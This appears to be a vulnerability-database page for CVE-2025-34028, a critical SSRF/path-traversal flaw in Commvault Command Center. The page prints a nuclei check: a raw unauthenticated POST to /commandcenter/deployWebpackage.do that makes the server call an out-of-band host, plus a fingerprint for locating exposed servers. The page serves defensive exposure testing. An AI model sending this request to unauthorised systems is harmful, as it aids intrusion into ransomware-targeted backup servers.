HexBrain

Browse / CVEs / CVE-2025-34028

CVE-2025-34028· CWE-22

Commvault - SSRF via /commandcenter/deployWebpackage.do

Exploited in the wild. Listed by CISA on 2025-05-02; known to be used by ransomware.

criticalseverity
10CVSS score
97.6%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

A path traversal vulnerability in Commvault Command Center Innovation Release allows an unauthenticated actor to upload ZIP files, which, when expanded by the target server, result in Remote Code Execution. This issue affects Command Center Innovation Release: 11.38.

Impact

Unauthenticated attackers can exploit SSRF through ZIP file uploads containing path traversal sequences, potentially leading to remote code execution on the Commvault server.

Fix

Apply the security patch as described in Commvault's security advisory for Command Center Innovation Release 11.38.

How to confirm it

Send: POST /commandcenter/deployWebpackage.do
Positive when: contains(interactsh_protocol, "http") || contains(interactsh_protocol, "dns") and status_code == 900

Run it with nuclei: nuclei -id CVE-2025-34028 -u <target>

The full check
id: CVE-2025-34028

info:
  name: Commvault - SSRF via /commandcenter/deployWebpackage.do
  author: DhiyaneshDk,abhishekrautela
  severity: critical
  description: |
    A path traversal vulnerability in Commvault Command Center Innovation Release allows an unauthenticated actor to upload ZIP files, which, when expanded by the target server, result in Remote Code Execution. This issue affects Command Center Innovation Release: 11.38.
  impact: |
    Unauthenticated attackers can exploit SSRF through ZIP file uploads containing path traversal sequences, potentially leading to remote code execution on the Commvault server.
  remediation: |
    Apply the security patch as described in Commvault's security advisory for Command Center Innovation Release 11.38.
  reference:
    - https://documentation.commvault.com/securityadvisories/CV_2025_04_1.html
    - https://labs.watchtowr.com/fire-in-the-hole-were-breaching-the-vault-commvault-remote-code-execution-cve-2025-34028/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34028
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-34028
    cwe-id: CWE-22
    epss-score: 0.97555
    epss-percentile: 0.99902
  metadata:
    verified: true
    max-request: 1
    fofa-query: icon_hash="1209838013"
  tags: cve,cve2025,ssrf,oast,commvault,kev,vkev,vuln

variables:
  string: "{{to_lower(rand_base(5))}}"

http:
  - raw:
      - |
        POST /commandcenter/deployWebpackage.do HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest
        Content-Type: application/x-www-form-urlencoded

        commcellName={{interactsh-url}}&servicePack={{string}}&version=x

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http") || contains(interactsh_protocol, "dns")'
          - 'status_code == 900'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from